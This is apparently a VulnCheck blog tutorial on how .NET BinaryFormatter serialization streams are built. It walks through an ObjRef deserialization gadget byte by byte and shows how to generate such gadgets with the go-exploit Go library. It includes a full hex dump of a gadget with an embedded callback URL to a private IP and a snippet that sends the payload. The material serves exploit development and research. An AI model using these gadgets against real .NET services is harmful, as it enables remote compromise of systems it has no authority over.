Go-Exploit's New .NET Deserialization Library
Recently our Initial Access Intelligence team added a .NET deserialization payload generation library to go-exploit, VulnCheck's open-source exploit framework. This article discusses how that library came to be while providing enough information into that process to allow others to create their own gadget chains by hand if they so please. At the end, we discuss how to use the new go-exploit library to generate deserialization payloads (without the need for Windows), or for integration in your own Golang-based exploits, regardless of whether or not they use go-exploit. Our library is designed to be used "out of the box" by any Go program without needing to define or set up any special objects. You can learn more about the advantages of go-exploit here.
This Blog Will Cover
- Challenges of adding deserialization payloads into exploits
- How to create your own deserialization library, including a technical breakdown of .NET serialization streams
- How to use VulnCheck's own .NET deserialization library for golang-based exploits
Challenges of Deserialization Gadgets in Payloads
When you are writing .NET deserialization exploits in a language other than C# and you want dynamic parameters in your payload, your options are generally limited to "shelling out" to ysoserial.net or pasting in a binary array that was created by ysoserial.net and then editing it at runtime.
Neither of these options is great. The first option demands that you use a specific program on a specific operating system (Windows) to create the gadgets. The second option is prone to mistakes due to the length encoding of strings and certain records being incorrectly implemented; it also makes the payload less modifiable/clean.
We instead opt for a third option: to create the .NET gadgets "by hand" for our golang-based exploit framework, go-exploit. In doing so, we learned a great deal about the .NET serialization stream structure and will present it in this article to help those wishing to do something similar in their own framework or anyone just wanting to learn more about serialization streams.
Though this article is written in the context of golang, the same ideas should be transferable to any other language.
What Are .NET Gadgets Made Of?
I am going to show how .NET deserialization objects are broken down by looking at what their sub-components are and how they are constructed during serialization. After that I will show you how to create your own serialization library that would allow you to recreate these gadgets in any language. Finally, I will show how to use gadgets directly from the new go-exploit library.
.NET deserialization payloads are effectively a stream of "Records" which can be thought of as structs. Given that records are effectively structs, it makes sense that to create gadgets, we should make structs and then place them in a byte array such that we produce a sane gadget at the end.
The First Record: SerializationHeaderRecord
Throughout this tutorial we will be using an ObjRef gadget, viewable using this cyberchef link. I chose this gadget because it is small and simple; other gadgets are generally much larger.
The very first record we will look at in the stream is a static record that begins every serialized .NET stream, the SerializationHeaderRecord.
Here is the hex dump for the SerializationHeaderRecord:
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |.....ÿÿÿÿ.......|
00000010 00 |.|
According to the documentation above: "The SerializationHeaderRecord record MUST be the first record in a binary serialization. This record has the major and minor version of the format and the IDs of the top object and the headers."
Quick Tip: Reading the Microsoft Documentation
Almost every link in this article will be to Microsoft documentation and while I am certain that you know how to read given that you've made it this far, I have dropped a few tips below to ease interpretation of these pages for those who are unfamiliar with the format.
- There is a table representing the layout of the record; I find this table more confusing than helpful so you may want to consider ignoring it (see image below for clarification).
- The information beneath the table that breaks down each member of the struct is typically much more useful and easier to read.
- The member information in the documentation is in the same order that the members appear within the records.
- You can assume all INT32 values are little-endian.
- It is important to read all member descriptions.

RecordTypeEnum (1 byte)
Now that we know how to decipher the Microsoft docs, let's get on to the first member in the record, RecordTypeEnum.
The description for this member reads: "RecordTypeEnum (1 byte): A RecordTypeEnumeration value that identifies the record type. The value MUST be 0."
When reversing serialized streams on your own for reconstruction, this byte is the first byte you will see for a given record and it tells you what record is coming next. In this case, we saw a 00, so we know a SerializationHeaderRecord is coming.
Every record type has its own RecordTypeEnum that is 1 byte, and each record has a different number that is sequential based on their order in the RecordTypeEnumeration. That link contains a list of all the record types, of which only a subset have been useful for payloads, having written about a dozen or so gadgets by hand. With that said, I would not suggest going ahead and implementing every gadget, but rather build them as needed.
So for a SerializationHeaderRecord, this value will ALWAYS be 00 in hexidecimal, so we should represent this as a constant somewhere in our code. In the Microsoft docs you see that RecordTypeEnumeration is exactly that, an enum, so we should just make an enum for record types in our code. I am using Golang, which does not have have enums natively, and while there are methods for creating them in go, I will just use a string map because that will serve my purposes just fine here. Using the Microsoft docs as reference, it looks something like this:
var RecordTypeEnumMap = map[string]int{
"SerializedStreamHeader": 0,
"ClassWithId": 1,
"SystemClassWithMembers": 2,
"ClassWithMembers": 3,
"SystemClassWithMembersAndTypes": 4,
"ClassWithMembersAndTypes": 5,
"BinaryObjectString": 6,
"BinaryArray": 7,
"MemberPrimitiveTyped": 8,
"MemberReference": 9,
"ObjectNull": 10,
"MessageEnd": 11,
"BinaryLibrary": 12,
"ObjectNullMultiple256": 13,
"ObjectNullMultiple": 14,
"ArraySinglePrimitive": 15,
"ArraySingleObject": 16,
"ArraySingleString": 17,
"MethodCall": 21,
"MethodReturn": 22,
}
RootId (4 bytes)
The next member is RootId (4 bytes), which is described as "An INT32 value (as specified in MS-DTYP section 2.2.22) that identifies the root of the graph of nodes."
This is a variable value, so let's add it to the struct as an int. Remember that we did not add RecordTypeEnum because this is a constant/static value.
// The start of our SerializationHeaderRecord struct
type SerializationHeaderRecord struct {
RootID int
}
Remembering that all INT32 values are little-endian, and knowing that this is a 1 from the hex dump, we know we need to have this member output \x01\x00\x00\x00. That said, we can start making some methods for our struct to produce the binary output for this record:
// NOTE: SerializationHeaderRecord struct is still incomplete
var RecordTypeEnumMap = map[string]int{
"SerializedStreamHeader": 0,
... // omitted for brevity
}
type SerializationHeaderRecord struct {
RootID int
}
func (serializationHeaderRecord SerializationHeaderRecord) RecordToBin() (string, bool) {
recordTypeEnumString := string(byte(RecordTypeEnumMap["SerializedStreamHeader"]))
rootIDString := transform.PackLittleInt32(serializationHeaderRecord.RootID)
return recordTypeEnumString + rootIDString, true
}
shr := SerializationHeaderRecord{ RootID: 1 }
shr.RecordToBin() // should yield "\x00\x01\x00\x00\x00" at this time
This is the basic idea and structure of how to create these records and ultimately turn them into binary streams. Enough records converted into binary streams in the right order, you have a finished serialization stream!
HeaderId (4 bytes)
Continuing on, the next member is the HeaderId, which much like the previous member, is described as a variable INT32 value. We will add this to the struct as an int:
type SerializationHeaderRecord struct {
RootID int
HeaderID int
}
MajorVersion (4 bytes) and MinorVersion (4 bytes)
The MajorVersion and MinorVersion are a little different from the last two members as they MUST be 1 and 0 respectively.
We do not need to add them to the struct, but instead just update the ToRecordBin method for this struct to finish off our implementation of this record.
type Record interface {
ToRecordBin() (string, bool)
}
var RecordTypeEnumMap = map[string]int{
"SerializedStreamHeader": 0,
... // omitted for brevity
}
type SerializationHeaderRecord struct {
RootID int
HeaderID int
}
func (serializationHeaderRecord SerializationHeaderRecord) RecordToBin() (string, bool) {
recordTypeEnumString := string(byte(RecordTypeEnumMap["SerializedStreamHeader"])) // 0
rootIDString := transform.PackLittleInt32(serializationHeaderRecord.RootID)
headerIDString := transform.PackLittleInt32(serializationHeaderRecord.HeaderID)
majorVersion := transform.PackLittleInt32(1) // MUST be 1
minorVersion := transform.PackLittleInt32(0) // MUST be 0
return recordTypeEnumString + rootIDString + headerIDString + majorVersion + minorVersion, true
}
shr := SerializationHeaderRecord{ RootID: 1 , HeaderID: -1 }
shr.RecordToBin() // should yield "\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00"
// add it to the full gadget being built
var gadgetRecords []Record
gadgetRecords = append(gadgetRecords, shr) // adding serialization header record to the gadget
Note: The code snippet above and all others in this article are for informational purposes and are not guaranteed to be completed/valid code. Remember, if you need a fully working library to reference or use as is, see go-exploit's dotnet deserialization package.
SystemClassWithMembersAndTypes Record
Now things get a bit more interesting with the very next record in the stream, SystemClassWithMembersAndTypes.
Here is the hex dump for SystemClassWithMembersAndTypes:
00000010 __ 04 01 00 00 00 10 53 79 73 74 65 6d 2e 45 78 |......System.Ex|
00000020 63 65 70 74 69 6f 6e 01 00 00 00 09 43 6c 61 73 |ception.....Clas|
00000030 73 4e 61 6d 65 03 1e 53 79 73 74 65 6d 2e 52 75 |sName..System.Ru|
00000040 6e 74 69 6d 65 2e 52 65 6d 6f 74 69 6e 67 2e 4f |ntime.Remoting.O|
00000050 62 6a 52 65 66 09 02 00 00 00 |bjRef..... |
The SystemClassWithMembersAndTypes record starts at offset 0x11. This is sort of the "main" record that you will see in .NET gadgets, or its alternative, ClassWithMembersAndTypes. By main record I mean, this is the record that actually defines the object/class that is intended to be deserialized which is sort of the "point" of a serialization stream. The difference between the two types above (SystemClassWithMembersAndTypes and ClassWithMembersAndTypes) is that the SystemClassWithMembersAndTypes is missing a LibraryID, as it is implicitly understood to be a system class and does not need it explicitly defined. Otherwise, these two records are the same.
These class records are quite verbose as they are primarily composed of two other (non-record) data structures: a ClassInfo and a MemberTypeInfo. Viewing the documentation, we again see a RecordTypeEnum indicating that this is a SystemClassWithMembersAndTypes record which in this case, must be a 4. If you look, this is already present in our RecordTypeEnumMap above.
ClassInfo
Moving onto the ClassInfo member, we can model it as a struct like so:
type ClassInfo struct {
ObjectID int // A value represented as an INT32
Name string // Length prefixed string
MemberCount int // should be equal to len(MemberNames) // this could also just be created dynamically during to ToRecordBin() method
MemberNames []string // MemberNames
}
ObjectID
The first member of this struct is an Object ID. These are not specific to ClassInfo structures but are actually a part of many other records and structures that compose .NET serialization streams. These are basically used as unique identifiers or even "addresses" to reference objects throughout a serialization stream. These generally increment by 1 with each new object added to a stream.
The value for this one, as show in the dump output above, should be a 1. Represented as a little-endian INT32 ("\x01\x00\x00\x00").
Name
Next is the Name. This is the name of the actual class, though it is not a normal string but is instead a LengthPrefixedString. Do not assume this is "just an int of the length" — it is encoded in a specific way as defined in the documentation. Though for shorter length strings this does usually come out to simply be something like hex(len(string)).
To make things easier, I will leave the appropriate function for encoding this length below, from our go-exploit dotnet package.
func Write7BitEncodedInt(value int) []byte {
var (
bs []byte
v = uint(value)
)
for v >= 0x80 {
bs = append(bs, byte(v|0x80))
v >>= 7
}
bs = append(bs, byte(v))
return bs
}
The Name for this one is "System.Exception", which makes sense, given that this is a system class and we are dealing with a SystemClassWithMembersAndTypes. But do not forget to prefix it with the encoded length (16, which in this case comes out to \x10), making it: "\x10System.Exception".
MemberCount
Next is MemberCount, another INT32 value. As the name suggests, this is the number of members that are defined in the next item in the struct, the MemberNames. As the dump shows, this is a 1, which we know will be represented as "\x01\x00\x00\x00".
MemberNames
Last in ClassInfo, is the array of MemberNames, which is a sequence of LengthPrefixedStrings. These define the member names for the class. Remember we should only expect to read N members from this where N == MemberCount. In this case, the only member name present should be "ClassName" with its length prefix in hex: "\x09".
So that does it for ClassInfo, but remember that was just one component of the SystemClassWithMembersAndTypes; the next is the MemberTypeInfo, a data structure that exists to provide information ABOUT the members of the class.
MemberTypeInfo
Do not be fooled by how few members are shown in the documentation. This component is probably the source of the most confusion when building these serialization objects by hand, primarily due to "AdditionalInfos".
BinaryTypeEnums
First is BinaryTypeEnums. Per the docs, this is a sequence of single bytes that denote the data TYPE for each member of the class. The attribution of a given type to its corresponding member is derived from the POSITION of the individiual BinaryTypeEnum in the sequence relative to the sequence of class members. All possible BinaryTypeEnum values are located here.
That was probably a bit unclear, so for example, if you have three members in a class, let's say they are someStringOne (String), someStringTwo (String), and someIntThree (Int).
// note: this is pseudocode
class SomeClass {
someStringOne string
someStringTwo string
someIntThree int
}
The MemberTypeInfo.BinaryTypeEnums section for that class should simply be: "\x01\x01\x00".
This is because according to the BinaryTypeEnum values documentation, "\x01" denotes a string of which there are two here. The int value, however, is not represented as its own enum value — this is where it gets a tad bit more confusing.
According to these docs, an int value is a primitive type and is therefore defined as a PrimitiveTypeEnum value. So we mark its BinaryTypeEnum value as a "\x00" (Primitive) so that when the stream is read it knows to look at the next section (AdditionalInfos) to determine the actual type of this member.
So to recap, our hypothetical "\x01\x01\x00" is described as a string (0x01), another string (0x01), and a primitive type (0x00) which we define as an int in the next section, AdditionalInfos.
AdditionalInfos
This is a data structure that in some class-based records will not be used at all. It is ONLY present if and when one of the BinaryTypeEnums are either Primitive, SystemClass, Class, or PrimitiveArray. An easy way to remember it is to see if any of the BinaryTypeEnums have primitive or class in their names. If the binary type for a given member is anything OTHER than those four, an AdditionalInfos entry is NOT needed for that member. If NONE of the members' BinaryTypeEnums values are primitive or class based, then you can omit the AdditionalInfos component entirely.
Depending on if it is a Primitive, SystemClass, Class, or PrimitiveArray, a different type of value is expected in the AdditionalInfo data structure. Keep in mind also that the values within the AdditionalInfos data are position-correspondent, just like BinaryTypeEnum itself. This means that a given value within the AdditionalInfos section corresponds with the position of the BinaryTypeEnum requiring an AdditionalInfos value to be added.
To clarify further... if you had someStringOne, someIntTwo, someStringThree, and someIntFour, they would have a BinaryTypeEnum section of "'\x01\x00\x01\x00". Of those four BinaryTypeEnums, only TWO of them require an AdditionalInfos entry, so the entire AdditionalInfos section for those members would be "\x08\x08" (0x08 denotes INT32). The first "\x08" would correspond to someIntTwo, and the second "\x08" would correspond to someIntFour; the strings are ignored because they are not a Primitive, PrimitiveArray, SystemClass, or Class BinaryTypeEnum and thus do not need AdditionalInfos for them.
I hope that made sense, because now we will look at the AdditionalInfos section for the SystemClassWithMembersAndTypes from our ObjRef example which uses a slightly more complicated BinaryType to define which is the SystemClass as denoted by the "\x03" in the BinaryTypeEnums section. To aid the reader, this BinaryTypeEnum is located at offset 0x35 of the CyberChef dump.
If we look at the MemberTypeInfo documentation again, specifically at the AdditionalInfos section, we see the following sentence: "For the BinaryTypeEnum value of SystemClass, this field specifies the name of the class (2)". So that means slap a string in there, and of course it must be a LengthPrefixedString not just a string by itself.
So just to summarize, the BinaryTypeEnums section for this SystemClassWithMembersAndTypes's MemberTypeInfo section is "\x03". Immediately following that, we start the AdditionalInfos if needed. Because the BinaryTypeEnums section contains a SystemClass BinaryTypeEnum, we DO need to provide an AdditionalInfos section, which in this case must be the name for the system class. Therefore, the AdditionalInfos section for this SystemClassWithMembersAndTypes's MemberTypeInfo section would be the prefix "\x1e", followed immediately by "System.Runtime.Remoting.ObjRef". If there were more Primitive or Class-based BinaryTypeEnum defined in the BinaryTypeEnums section of this MemberTypeInfo, then AdditionalInfos entries would immediately follow this LengthPrefixedString.
Member Values
Great, so we have exhausted all of the members for SystemClassWithMembersAndTypes which ends at offset 0x54. So what is all the stuff after it in the CyberChef hexdump output?
Well, we know that the SystemClassWithMembersAndTypes has ended because we made all of the sections per the defined specification. When a record ends in a serialization stream, the next byte is generally a new record; therefore the RecordTypeEnumeration documentation must be consulted. But something else that has not been revealed thus far and is not described well in the relevant Microsoft documentation: when a MemberTypeInfo ends, what generally follows immediately after is the VALUE for those defined members, one after another in a sequence.
Knowing that, we can assume that the next record is the VALUE for the members we just defined. According to the RecordTypeEnumeration documentation, the next byte, a "\x09" (offset 0x55), is a MemberReference record. If you remember above where I talked about ObjectIDs, this is where the primary record references those.
If you look at the documentation for the MemberReference.IdRef section, it says that the ObjectID can be for an object that comes after OR before the referencing record. If we said the ObjectID is like a memory address of an object, you can think of the MemberReference as a pointer to these objects — this way, if that object is referenced multiple times, you do not need to redefine the entire object record but can instead just provide a MemberReference record to an already defined object, which is only 5 bytes rather than the size of an entirely new object.
type MemberReferenceRecord struct {
RecordTypeEnum int // 1 BYTE, ALWAYS a 0x09
IDRef int // 4 BYTES - INT32 value containing the ObjectID that is being referenced
}
Given that the only previous object we defined (the "System.Exception" SystemClassWithMembersAndTypes) has an ObjectID of 1, we can assume the referenced object will come AFTER this record in the serialization stream. This assumption stands true, as the very next record does have an objectID of "\x02" and it should be familiar since it is another SystemClassWithMembersAndTypes. To clarify, the VALUE for the only member in the previously defined SystemClassWithMembersAndTypes ultimately points to yet another SystemClassWithMembersAndTypes.
SystemClassWithMembersAndTypes #2
Again, here is the full dump for easier reference:
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |.....ÿÿÿÿ.......|
00000010 00 04 01 00 00 00 10 53 79 73 74 65 6d 2e 45 78 |.......System.Ex|
00000020 63 65 70 74 69 6f 6e 01 00 00 00 09 43 6c 61 73 |ception.....Clas|
00000030 73 4e 61 6d 65 03 1e 53 79 73 74 65 6d 2e 52 75 |sName..System.Ru|
00000040 6e 74 69 6d 65 2e 52 65 6d 6f 74 69 6e 67 2e 4f |ntime.Remoting.O|
00000050 62 6a 52 65 66 09 02 00 00 00 04 02 00 00 00 1e |bjRef...........|
00000060 53 79 73 74 65 6d 2e 52 75 6e 74 69 6d 65 2e 52 |System.Runtime.R|
00000070 65 6d 6f 74 69 6e 67 2e 4f 62 6a 52 65 66 01 00 |emoting.ObjRef..|
00000080 00 00 03 75 72 6c 01 06 03 00 00 00 20 68 74 74 |...url...... htt|
00000090 70 3a 2f 2f 31 39 32 2e 31 36 38 2e 35 31 2e 31 |p://192.168.51.1|
000000a0 35 3a 38 38 38 38 2f 68 63 51 61 41 54 0b |5:8888/hcQaAT.|
Our new record begins at hex 0x5A.
I will not rehash everything since we have already defined a very similar record, but I will define the values in case there is confusion. You could also stop here and try and make it yourself if that sounds like fun to you.
- SystemClassWithMembersAndTypes.RecordTypeEnum = 4
"\x04" - SystemClassWithMembersAndTypes.ClassInfo.ObjectID = 2
"\x02\x00\x00\x00", This should look familiar from the immediately preceding MemberReference record. - SystemClassWithMembersAndTypes.ClassInfo.Name = lenPrefix
\x1e+"System.Runtime.Remoting.ObjRef", Should also familiar from the AdditionalInfos section of Object 1. - SystemClassWithMembersAndTypes.ClassInfo.MemberCount = 1
"\x01\x00\x00\x00" - SystemClassWithMembersAndTypes.ClassInfo.MemberNames = lenPrefix
\x03followed by the string:"url" - SystemClassWithMembersAndTypes.MemberTypeInfo.BinaryTypeEnums =
"\x01". States that the only member for this class if of type: string. - SystemClassWithMembersAndTypes.MemberTypeInfo.AdditionalInfo = "", nothing for this as we do not need it; none of the BinaryTypeEnums are Classes or Primitives based, all we have is a string.
Those are all of the values for all of the components of that object, but as we know, we defined one member; therefore, we must provide one member value immediately following the SystemClassWithMembersAndTypes, and because this a serialization stream, we cannot simply have random values floating around in the stream. All things must be defined in a RECORD since once again, a serialization stream is a sequence of records.
With all of that said, the member type that we defined is of BinaryTypeEnum "\x01", which is a string. So how do we represent a string as a record? Using the next record in the dump, a BinaryObjectString, defined below.
BinaryObjectString
type BinaryObjectString struct {
RecordTypeEnum int // 1 BYTE - ALWAYS 0x06
ObjectID int // 4 BYTES - INT32. This is a record, therefore it needs an ObjectID in case it needs to be referenced
Value string // This needs to be a LengthPrefixedString. This contains the value for the string.
}
So immediately following that SystemClassWithMembersAndTypes (Object 2), we define the next object in the stream as such:
- BinaryObjectString.RecordTypeEnum = 0x06
- BinaryObjectString.ObjectID =
"\x03\x00\x00\x00" - BinaryObjectString.Value = lenPrefix
"\x20"followed by"http://192.168.51.15:8888/hcQaAT"
Then we end the entire serialization stream using the MessageEnd Record. This is the simplest record of all, it is just a \x0B that denotes the end of the stream.
Gadget Complete
With all of the structs defined, and the process for understading them under wraps, all that is left is to define a method similar to the ToRecordBin() shown in the earlier example for each of the discussed records and then concatenate those results in the same order as the dump. This is left as an exercise for the reader.
Using the new Go-Exploit deserialization library
You could also use our go-exploit library as a reference or for gadget generation. Also, do note that this was a rather small serialization stream example; there are much more complicated gadgets, some of which contain serialization streams as values inside of other serialization stream records. Even so, construction of those should all follow the same basic principles explained in this article.
Usage
Using VulnCheck's go-exploit library to generate the ObjRef payload is as simple as:
package main
import (
"github.com/vulncheck-oss/go-exploit/dotnet"
)
func main() {
payload := dotnet.CreateObjectRef("something", dotnet.BinaryFormatter) // gadget generated!
sendPayload(payload)
}
More to Come
go-exploit provides a simple and efficient way to develop sophisticated and portable exploits. If you are interested in contributing to go-exploit or have feedback on your own experience developing exploits, we would love to hear from you! Visit go-exploit on GitHub to get involved.
About VulnCheck
Sign up for the VulnCheck community today to get free access to our VulnCheck KEV, enjoy our comprehensive vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence products.
EOF